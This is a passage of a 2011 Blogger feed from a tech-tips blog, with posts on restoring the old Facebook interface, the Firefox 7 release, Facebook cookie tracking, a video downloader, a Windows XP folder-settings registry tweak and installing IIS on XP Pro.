url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7rOHrWzvqWLug9VB5VpMvmVz6AkV1SJ7x4g06FAr-FWrD7kXwzOnYuJDKkznfJbj4XGqpcaKDEChlmc-U0alm78hZijTJy6dIwSR8t_0SGSF_EhkzIygTaVnLu6NyYb0XUnxhzdzb7-o/s72-c/Untitled.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-5260312299090010911</id><published>2011-10-03T00:00:00.000+05:30</published><updated>2011-10-03T00:00:54.892+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>How to get back to the old Facebook interface ???</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
Facebook made major changes  to its user interface last month, and most of the users found it  annoying. They are not just annoyed, but also confused on how the new  features function. Users were pretty happy and adapted to the previous  UI, which was user friendly and easy to use. However, the new changes to  the UI has drawn confusions and put things upside down.&lt;br /&gt;
Along with the UI changes, came the real-time updates&amp;nbsp;feature called Ticker. The Ticker basically updates every second with  new comments, “likes” and tags made by friends. It is annoying because  users don’t really want to know what exactly is&amp;nbsp;happening over&amp;nbsp;Facebook.  For instance, Suppose I have 600+ friends on Facebook, and I’m not concerned about who my friend adds or whose comment he/she likes.&lt;br /&gt;
According to Facebook, “the Ticker, on the right-hand side of your account, lets you see all your friends’ activity&amp;nbsp;in real-time. When you hover over an item on ticker, you can see the  full story and join the conversation as it happens. Ticker updates  itself as stories happen. This gives you a more complete picture of what  your friends are doing, right now.”&lt;br /&gt;
Real-time updates work great with Twitter,  but not with Facebook, and I think Facebook should probably stop  “copying” features from other social networking sites. Although the new  features are annoying, there are ways to revert back to the old Facebook  UI, and disable the Ticker as well.&lt;br /&gt;
You  might have come across blogs indicating the trick to get back the old  Facebook UI by changing the preferred language to English (UK), and  indeed the trick stopped working as Facebook fixed the issue. However,  there is still a way to get back the old UI, and interestingly it works  in a similar fashion by changing the preferred language.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;How to you get back to the old &amp;nbsp;lovely Facebook interface &amp;amp; Get rid of this new one?&lt;/span&gt;&lt;br /&gt;
Change  the preferred language to a foreign language other than English (US and  UK). For instance, I have changed the language to German. If you’re a  Google Chrome user, you will immediately be prompted to “translate” the  page into English.&lt;br /&gt;
Before you click on the translate button, click  on the “Options” button and select “Always translate German to  English”. Now refresh or open Facebook in a new tab,  and you will notice that every time you open Facebook, the page will be  automatically translated to English. That way you will see the old  Facebook interface and the Ticker disabled.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbJHUYN5ht3d1Lnta_UBc5MBalL8vpO-st0GdDHLLG4oZ3VtTJ0mnqNx6-MSmUPWfDikeru4-c4zelfAtRIvKqyjJ1IyNm33hubfsOlOPbN7mHoHH3dD1b838f9nU-kVKA9hXHiu7ocrY/s1600/always-translate-google-chrome.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;142&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbJHUYN5ht3d1Lnta_UBc5MBalL8vpO-st0GdDHLLG4oZ3VtTJ0mnqNx6-MSmUPWfDikeru4-c4zelfAtRIvKqyjJ1IyNm33hubfsOlOPbN7mHoHH3dD1b838f9nU-kVKA9hXHiu7ocrY/s320/always-translate-google-chrome.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If you’re a Firefox&amp;nbsp;user, try using the Facebook Translate add-on. However, I’ll definitely update this post if I find an alternate solution for Firefox users.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/5260312299090010911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/how-to-get-back-to-old-facebook.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5260312299090010911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5260312299090010911'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/how-to-get-back-to-old-facebook.html' title='How to get back to the old Facebook interface ???'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbJHUYN5ht3d1Lnta_UBc5MBalL8vpO-st0GdDHLLG4oZ3VtTJ0mnqNx6-MSmUPWfDikeru4-c4zelfAtRIvKqyjJ1IyNm33hubfsOlOPbN7mHoHH3dD1b838f9nU-kVKA9hXHiu7ocrY/s72-c/always-translate-google-chrome.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-5651024876644290496</id><published>2011-09-28T17:01:00.002+05:30</published><updated>2011-10-06T00:41:20.282+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><title type='text'>Mozilla Firefox 7 Released</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyCp2qDq6KYscUkztTkt11KgxqM3zsowHP2-JuG1l-9JSLHseXMKDzNUhP-114nMUc3pruujwuGrHWr86cAOuJY8bZundkUpSA2b7pBMUbRiOsBT_2qmt7363OOoJrfjCWiL32b21xaRQ/s1600/FirefoxLogo-main_Full.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;192&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyCp2qDq6KYscUkztTkt11KgxqM3zsowHP2-JuG1l-9JSLHseXMKDzNUhP-114nMUc3pruujwuGrHWr86cAOuJY8bZundkUpSA2b7pBMUbRiOsBT_2qmt7363OOoJrfjCWiL32b21xaRQ/s200/FirefoxLogo-main_Full.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;nbsp;Firefox 7 final version has been released on September 27, 2011&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;The latest version of Firefox has the following changes:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Drastically improved &lt;a class=&quot;ext-link&quot; href=&quot;http://hacks.mozilla.org/2011/09/firefox-is-lean-and-fast/&quot; rel=&quot;external nofollow&quot;&gt;memory handling&lt;/a&gt; for certain use cases&lt;/li&gt;
&lt;li&gt;Added a new &lt;a class=&quot;ext-link&quot; href=&quot;http://www.basschouten.com/blog1.php&quot; rel=&quot;external nofollow&quot;&gt;rendering backend&lt;/a&gt; to speed up Canvas operations on Windows systems&lt;/li&gt;
&lt;li&gt;Bookmark and password changes now sync almost instantly when using Firefox Sync&lt;/li&gt;
&lt;li&gt;The ‘http://’ URL prefix is now hidden by default&lt;/li&gt;
&lt;li&gt;Added support for &lt;a class=&quot;ext-link&quot; href=&quot;https://developer.mozilla.org/En/CSS/Text-overflow&quot; rel=&quot;external nofollow&quot;&gt;text-overflow: ellipsis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Added support for the &lt;a class=&quot;ext-link&quot; href=&quot;https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/NavigationTiming/Overview.html&quot; rel=&quot;external nofollow&quot;&gt;Web Timing specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Enhanced support for &lt;a class=&quot;ext-link&quot; href=&quot;https://developer.mozilla.org/en/Firefox_7_for_developers#MathML&quot; rel=&quot;external nofollow&quot;&gt;MathML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The WebSocket protocol has been updated from version 7 to version 8&lt;/li&gt;
&lt;li&gt;Added an &lt;a class=&quot;ext-link&quot; href=&quot;http://weblogs.mozillazine.org/asa/archives/2011/07/telemetry_in_firefox.html&quot; rel=&quot;external nofollow&quot;&gt;opt-in system&lt;/a&gt; for users to send performance data back to Mozilla to improve future versions of Firefox&lt;/li&gt;
&lt;li&gt;Fixed several stability issues&lt;/li&gt;
&lt;li&gt;Fixed several &lt;a class=&quot;ext-link&quot; href=&quot;http://www.mozilla.org/security/known-vulnerabilities/firefox.html#firefox7&quot; rel=&quot;external nofollow&quot;&gt;security issues&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5IQXOge09bJxrBxRpj6HLWFnEoVM7-csrVmdqcT_sojlrvDZgdQ4a5lVIuLOHeX-ZnbD0RrXYv8pM7tUc_agy0-izPkNIDq9qUoKeyf_FFOmHkYpVEam1VJmNR0sbYsE7uO_nsoHZLCU/s1600/firefox7.0.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5IQXOge09bJxrBxRpj6HLWFnEoVM7-csrVmdqcT_sojlrvDZgdQ4a5lVIuLOHeX-ZnbD0RrXYv8pM7tUc_agy0-izPkNIDq9qUoKeyf_FFOmHkYpVEam1VJmNR0sbYsE7uO_nsoHZLCU/s400/firefox7.0.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
Please see the &lt;a class=&quot;ext-link&quot; href=&quot;http://www.mozilla.org/en-US/firefox/7.0/releasenotes/buglist.html&quot; rel=&quot;external nofollow&quot;&gt;complete list of changes&lt;/a&gt; in this version. Web and extension developers should also view the &lt;a class=&quot;ext-link&quot; href=&quot;https://developer.mozilla.org/en/Firefox_7_for_developers&quot; rel=&quot;external nofollow&quot;&gt;curated list of platform changes&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Download the latest version that’s right for you, and try to make internet a better place!&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;a class=&quot;ext-link&quot; href=&quot;http://download.mozilla.org/?product=firehttp://download.mozilla.org/?product=firefofox-7.0&amp;amp;os=win&amp;amp;lang=en-US&quot; rel=&quot;external nofollow&quot;&gt;Firefox 7.0 for Windows&lt;/a&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;a class=&quot;ext-link&quot; href=&quot;http://download.mozilla.org/?product=firefox-7.0&amp;amp;os=osx&amp;amp;lang=en-US&quot; rel=&quot;external nofollow&quot;&gt;Firefox 7.0 for Mac&lt;/a&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;a class=&quot;ext-link&quot; href=&quot;http://download.mozilla.org/?product=firefox-7.0&amp;amp;os=linux&amp;amp;lang=en-US&quot; rel=&quot;external nofollow&quot;&gt;Firefox 7.0 for Linux&lt;/a&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/5651024876644290496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/mozilla-firefox-7-released.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5651024876644290496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5651024876644290496'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/mozilla-firefox-7-released.html' title='Mozilla Firefox 7 Released'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyCp2qDq6KYscUkztTkt11KgxqM3zsowHP2-JuG1l-9JSLHseXMKDzNUhP-114nMUc3pruujwuGrHWr86cAOuJY8bZundkUpSA2b7pBMUbRiOsBT_2qmt7363OOoJrfjCWiL32b21xaRQ/s72-c/FirefoxLogo-main_Full.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-6409247319793154516</id><published>2011-09-27T00:44:00.000+05:30</published><updated>2011-09-27T00:44:40.404+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>Facebook track your cookies even after logout</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6pFd2tFrHmTC9j5VzYS3TcDwBMKZ69Nxwd8h1DeOrNst6WBWD5zrfRHgiFe0ahYD27mFEXPeqUcxtg1GPeZTbjXRH59gVk0pOnpzMMl5aLEadIpJf7yNc9p7C-UaIIKfQsOjidf08cAs/s1600/Untitled.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;363&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6pFd2tFrHmTC9j5VzYS3TcDwBMKZ69Nxwd8h1DeOrNst6WBWD5zrfRHgiFe0ahYD27mFEXPeqUcxtg1GPeZTbjXRH59gVk0pOnpzMMl5aLEadIpJf7yNc9p7C-UaIIKfQsOjidf08cAs/s400/Untitled.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
According to Australian technologist Nik Cubrilovic: &#39;&lt;b&gt;Logging out of Facebook is not enough&lt;/b&gt;.&#39;  He added, Even after you are logged out, Facebook is able to track your  browser&#39;s page every time you visit a website. He wrote in his blog&amp;nbsp;&#39;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;With  my browser logged out of Facebook, whenever I visit any page with a  Facebook like button, or share button, or any other widget, the  information, including my account ID, is still being sent to Facebook.&lt;/span&gt;&lt;/i&gt;&#39;&lt;br /&gt;
&lt;br /&gt;
After explaining the cookies behavior he also suggested a way to fix the tracking problem: &#39;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;The only solution to Facebook not knowing who you are is to delete all Facebook cookies.&#39;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #444444; font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;NewsSource : http://thehackernews.com/2011/09/facebook-track-your-cookies-even-after.html &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/6409247319793154516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/facebook-track-your-cookies-even-after.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6409247319793154516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6409247319793154516'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/facebook-track-your-cookies-even-after.html' title='Facebook track your cookies even after logout'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6pFd2tFrHmTC9j5VzYS3TcDwBMKZ69Nxwd8h1DeOrNst6WBWD5zrfRHgiFe0ahYD27mFEXPeqUcxtg1GPeZTbjXRH59gVk0pOnpzMMl5aLEadIpJf7yNc9p7C-UaIIKfQsOjidf08cAs/s72-c/Untitled.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-5395067877698702077</id><published>2011-09-26T16:02:00.000+05:30</published><updated>2011-09-26T16:02:03.136+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking Softwares"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>Download Video and Audio from YouTube, Facebook and 40+ Websites</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;People still ask me how to download YouTube videos. I usually point them to &lt;a href=&quot;http://www.keepvid.com/&quot; rel=&quot;nofollow&quot;&gt;www.keepvid.com&lt;/a&gt;.  I’m sure there are tons of similar video downloading sites but that’s  the only name I can remember. Others who use Firefox or Chrome I try to  explain extensions but eventually end up on keepvid again. The next time  somebody asks me how to download videos, I’m going to point them to &lt;strong&gt;&lt;a href=&quot;http://www.freemake.com/free_video_downloader/&quot;&gt;Freemake Video Downloader&lt;/a&gt;&lt;/strong&gt;.&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;more&quot;&gt;&lt;/a&gt;  I have used one other software by Freemake – their Video Converter  and I loved it. With Freemake Video Converter, the developers have once  again showed how to blend usability and aesthetics into one impressive  little package.&lt;br /&gt;
&lt;img alt=&quot;freemake-video-downloader&quot; border=&quot;0&quot; height=&quot;260&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMDwP5BU6DNBqtPjKAuMXs1PdeTQqOyrIxO3KSMAiJoeb8wY6C9huBBf6MQ7g-osaC5TjMAn3Kt9OCY3KYc4c3n8gY06R82UedTbI2pT0OUK94llt0crg1t6an9XwmpiksOqAaS7yOFDkl/?imgmax=800&quot; style=&quot;background-image: none; border-color: -moz-use-text-color; border-style: none; border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot; title=&quot;freemake-video-downloader&quot; width=&quot;400&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
The  software is a no-brainer – just copy the URL of the video page, click  on the Paste URL button and then choose the video quality and resolution  you want to download. You can even extract only the audio tracks from  online videos, and optionally convert the audio and videos formats into  those supported by handheld devices - AVI, MKV, MP3, iPod, iPhone, iPad,  PSP, Android – in one swoop.&lt;br /&gt;
&lt;br /&gt;
You can enter your YouTube or  Facebook account login credentials and automatically download privately  shared videos from Facebook friends and YouTube pages that require user  login. Have multiple accounts? No problem. Create accounts on Freemake  Video Downloader for all of them.&lt;br /&gt;
&lt;br /&gt;
Apart from the two most  popular video downloading sites – YouTube and Facebook - Freemake Video  Downloader allows you to download videos from over 40 different websites  including Vevo, MTV, Dailymotion, Megavideo, Vimeo, Metacafe,  ComedyCentral, TheDailyShow, Vh1, Veoh, Break, LiveLeak, Photobucket and  a host of adult sites.&lt;br /&gt;
&lt;br /&gt;
To prevent toddlers from downloading  videos from the adult sites, parents can put a password into the  program. Without the correct password, the software refuses to download  videos from adult sites. Downloading videos from other sites are not  impaired.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/5395067877698702077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/download-video-and-audio-from-youtube.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5395067877698702077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5395067877698702077'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/download-video-and-audio-from-youtube.html' title='Download Video and Audio from YouTube, Facebook and 40+ Websites'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMDwP5BU6DNBqtPjKAuMXs1PdeTQqOyrIxO3KSMAiJoeb8wY6C9huBBf6MQ7g-osaC5TjMAn3Kt9OCY3KYc4c3n8gY06R82UedTbI2pT0OUK94llt0crg1t6an9XwmpiksOqAaS7yOFDkl/s72-c?imgmax=800" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-5382524339141292299</id><published>2011-09-15T23:19:00.000+05:30</published><updated>2011-09-15T23:19:51.907+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Increase Win XP Folder Settings</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&amp;nbsp;Hi Techies,&lt;br /&gt;
This post of mine is about increasing the default value of number of settings stored by XP about Folders.&lt;br /&gt;
WinXP remembers 400 folder settings. When that number is reached some settings aren&#39;t retained any longer. You can change this to 8000 by adding this edit to the registry.&lt;br /&gt;
&lt;br /&gt;
1. Copy the following (everything in the italic) into notepdad.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Windows Registry Editor Version 5.00&lt;br /&gt;
&lt;br /&gt;
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]&lt;br /&gt;
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]&lt;br /&gt;
&lt;br /&gt;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell]&lt;br /&gt;
&quot;BagMRU Size&quot;=dword:00001f40&lt;br /&gt;
&lt;br /&gt;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam]&lt;br /&gt;
&quot;BagMRU Size&quot;=dword:00001f40&lt;br /&gt;
&lt;br /&gt;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]&lt;br /&gt;
&quot;NoSaveSettings&quot;=dword:00000000&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
2. Save the file as folder8000.reg&lt;br /&gt;
3. Double click the file to import into your registry.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;!!! You are Done !!!&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/5382524339141292299/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/increase-win-xp-folder-settings.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5382524339141292299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/5382524339141292299'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/increase-win-xp-folder-settings.html' title='Increase Win XP Folder Settings'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-6277045225548882042</id><published>2011-09-15T23:06:00.000+05:30</published><updated>2011-09-15T23:06:34.033+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Installing IIS On Win XP Pro</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;If you are running Windows XP Professional on your computer you can install Microsoft&#39;s web server, Internet Information Server 5.1 (IIS) for free from the Windows XP Pro installation CD and configure it to run on your system by following the instructions below: -&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1. Place the Windows XP Professional CD into your CD-Rom Drive.&lt;br /&gt;
&lt;br /&gt;
2. Open &#39;Add/Remove Windows Components&#39; found in &#39;Add/Remove Programs&#39; in the &#39;Control Panel&#39;.&lt;br /&gt;
&lt;br /&gt;
3. Place a tick in the check box for &#39;Internet Information Services (IIS)&#39; leaving all the default installation settings intact.&lt;br /&gt;
&lt;br /&gt;
4. Once IIS is installed on your machine you can view your home page in a web browser by typing &#39;http://localhost&#39; (you can substitute &#39;localhost&#39; for the name of your computer) into the address bar of your web browser. If you have not placed your web site into the default directory you should now be looking at the IIS documentation.&lt;br /&gt;
&lt;br /&gt;
5. If you are not sure of the name of your computer right-click on the &#39;My Computer&#39; icon on your desktop, select &#39;Properties&#39; from the shortcut menu, and click on the &#39;Computer Name&#39; tab.&lt;br /&gt;
&lt;br /&gt;
6. Your default web directory to place your web site in is &#39;C:\Inetpub\wwwroot&#39;, but if you don&#39;t want to over write the IIS documentation found in this directory you can set up your own virtual directory through the &#39;Internet Information Services&#39; console.&lt;br /&gt;
&lt;br /&gt;
7. The &#39;Internet Information Services&#39; console can be found in the &#39;Administration Tools&#39; in the &#39;Control Panel&#39; under &#39;Performance and Maintenance&#39;, if you do not have the control panel in Classic View.&lt;br /&gt;
&lt;br /&gt;
8. Double-click on the &#39;Internet Information Services&#39; icon.&lt;br /&gt;
&lt;br /&gt;
9. Once the &#39;Internet Information Services&#39; console is open you will see any IIS web services you have running on your machine including the SMTP server and FTP server, if you chose to install them with IIS.&lt;br /&gt;
&lt;br /&gt;
